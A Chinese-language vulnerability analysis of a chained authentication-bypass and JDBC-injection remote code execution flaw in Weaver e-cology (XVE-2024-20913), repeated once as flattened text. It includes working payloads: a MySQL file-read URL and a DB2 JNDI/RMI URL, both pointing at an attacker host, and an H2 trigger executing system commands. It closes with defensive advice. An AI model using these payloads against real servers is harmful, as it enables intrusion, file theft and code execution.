某微 e-cology 远程代码执行漏洞分析(XVE-2024-20913)
字数 1104 2025-08-24 07:48:10

泛微e-cology远程代码执行漏洞(XVE-2024-20913)分析教学文档

漏洞概述

本漏洞是一个组合漏洞,包含两个关键部分:

  1. 前台身份验证绕过漏洞
  2. 后台JDBC注入漏洞

组合利用这两个漏洞可实现远程代码执行(RCE)。

第一部分:身份验证绕过分析

漏洞位置

com.weaver.passport.controller.RestLoginController#appThirdLogin()

漏洞原理

  1. 攻击者可以通过构造特定的loginType参数绕过身份验证
  2. 系统在没有可用票据(ticket)时,会使用传入的username创建新的TicketGrantingTicket
  3. 关键代码片段:
WeaverUsernamePasswordCredential credential = new WeaverUsernamePasswordCredential(username, password: "authPasswordFlag");
credential.setNoPassword(true);
tgtId = this.casLoginTicketService.createTicketGrantingTicket(credential, casLoginEnum);

获取ServiceTicketId

  1. 通过appThirdLogin方法生成serviceTicketId
result.put("serviceTicketId", this.casLoginTicketService.grantServiceTicket(tgtId, this.casLoginTicketService.getService((String)null), casLoginEnum));

构造EteamsId

  1. EteamsId是泛微e-cology 10中的会话管理机制
  2. 通过PassportLoginController#generateEteamsId()获取
  3. 生成算法:
public static String generateTokenId(String credential, String loginType) {
    if (StringUtils.isEmpty(loginType)) {
        return MD5Utils.MD5(credential).toLowerCase();
    } else {
        return !loginType.toUpperCase().startsWith("APP") && !loginType.toUpperCase().startsWith("H5") ? 
            loginType.replace("_", "").toUpperCase() + "_" + MD5Utils.MD5(credential).toLowerCase() : 
            loginType.replace("_", "").toUpperCase() + "_" + MD5Utils.MD5(credential).toLowerCase() + "_appType";
    }
}

注意:虽然可以了解EteamsId的构造方式,但无法直接伪造,因为缺少this.securityContextCache.put(tokenId, context)步骤。

第二部分:JDBC注入漏洞分析

漏洞位置

DataConnController#testConnByBasePassword()

漏洞原理

  1. 系统在处理数据库连接测试时存在不安全实现
  2. 关键代码流程:
public WareResult testConnByBasePassword(@RequestBody DataSetConn conn, Employee employee) {
    conn.setDbPassword(SqlValidateUtil.base64ToString(conn.getDbPassword()));
    return this.testConn(conn, employee);
}
  1. 最终会调用DriverManager.getConnection()建立连接,由JDBC URL决定使用哪种驱动

数据库驱动加载机制

系统根据dbType参数动态加载对应驱动:

public String getDbDriverByType(String dbType) {
    switch (dbType.toLowerCase()) {
        case "mysql5": return "com.mysql.jdbc.Driver";
        case "mysql": case "mysql8": return "com.mysql.cj.jdbc.Driver";
        case "oracle": return "oracle.jdbc.driver.OracleDriver";
        // 其他数据库类型省略...
    }
}

漏洞利用方式

1. MySQL利用

利用MySQL5.x版本的特性读取文件:

{
    "dbType": "mysql5",
    "dbUrl": "jdbc:mysql://172.23.80.133:3306/test?allowLoadLocalInfile=true&allowUrlInLocalInfile=true&allowLoadLocalInfileInPath=/&maxAllowedPacket=65536&user=fileread_C:/windows/win.ini"
}

2. DB2利用

利用JDK 8u201中的javax.el.ELProcessor#eval方法绕过限制:

{
    "dbType": "db2",
    "dbUrl": "jdbc:db2://172.23.80.133:50001/BLUDB:clientRerouteServerListJNDIName=rmi://172.23.80.133:1099/localExploitel;"
}

3. H2数据库利用(最优方案)

无需出网的利用方式:

步骤1:加载H2驱动

通过IaAuthclientController#save()方法加载H2驱动:

{
    "isUse": 1,
    "auth_type": "custom",
    "iaAuthclientCustomDTO": {
        "ruleClass": "org.h2.Driver"
    }
}

步骤2:执行任意代码

利用H2数据库执行Java代码:

{
    "dbType": "mysql",
    "dbUrl": "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER hhhh BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS 
$$
//javascript\njava.lang.Runtime.getRuntime().exec(\"whoami\")
$$
"
}

防御建议

  1. 修复身份验证绕过漏洞,严格校验票据和用户身份
  2. 对JDBC连接参数进行严格过滤和校验
  3. 限制数据库驱动的动态加载
  4. 更新到官方最新补丁版本

总结

该漏洞组合了身份验证绕过和JDBC注入两个漏洞,最终可实现远程代码执行。H2数据库的利用方式最为优雅,无需出网即可实现RCE。建议管理员及时检查系统并应用补丁。

泛微e-cology远程代码执行漏洞(XVE-2024-20913)分析教学文档 漏洞概述 本漏洞是一个组合漏洞,包含两个关键部分: 前台身份验证绕过漏洞 后台JDBC注入漏洞 组合利用这两个漏洞可实现远程代码执行(RCE)。 第一部分:身份验证绕过分析 漏洞位置 com.weaver.passport.controller.RestLoginController#appThirdLogin() 漏洞原理 攻击者可以通过构造特定的 loginType 参数绕过身份验证 系统在没有可用票据(ticket)时,会使用传入的 username 创建新的 TicketGrantingTicket 关键代码片段: 获取ServiceTicketId 通过 appThirdLogin 方法生成 serviceTicketId : 构造EteamsId EteamsId是泛微e-cology 10中的会话管理机制 通过 PassportLoginController#generateEteamsId() 获取 生成算法: 注意 :虽然可以了解EteamsId的构造方式,但无法直接伪造,因为缺少 this.securityContextCache.put(tokenId, context) 步骤。 第二部分:JDBC注入漏洞分析 漏洞位置 DataConnController#testConnByBasePassword() 漏洞原理 系统在处理数据库连接测试时存在不安全实现 关键代码流程: 最终会调用 DriverManager.getConnection() 建立连接,由JDBC URL决定使用哪种驱动 数据库驱动加载机制 系统根据 dbType 参数动态加载对应驱动: 漏洞利用方式 1. MySQL利用 利用MySQL5.x版本的特性读取文件: 2. DB2利用 利用JDK 8u201中的 javax.el.ELProcessor#eval 方法绕过限制: 3. H2数据库利用(最优方案) 无需出网的利用方式: 步骤1:加载H2驱动 通过 IaAuthclientController#save() 方法加载H2驱动: 步骤2:执行任意代码 利用H2数据库执行Java代码: 防御建议 修复身份验证绕过漏洞,严格校验票据和用户身份 对JDBC连接参数进行严格过滤和校验 限制数据库驱动的动态加载 更新到官方最新补丁版本 总结 该漏洞组合了身份验证绕过和JDBC注入两个漏洞,最终可实现远程代码执行。H2数据库的利用方式最为优雅,无需出网即可实现RCE。建议管理员及时检查系统并应用补丁。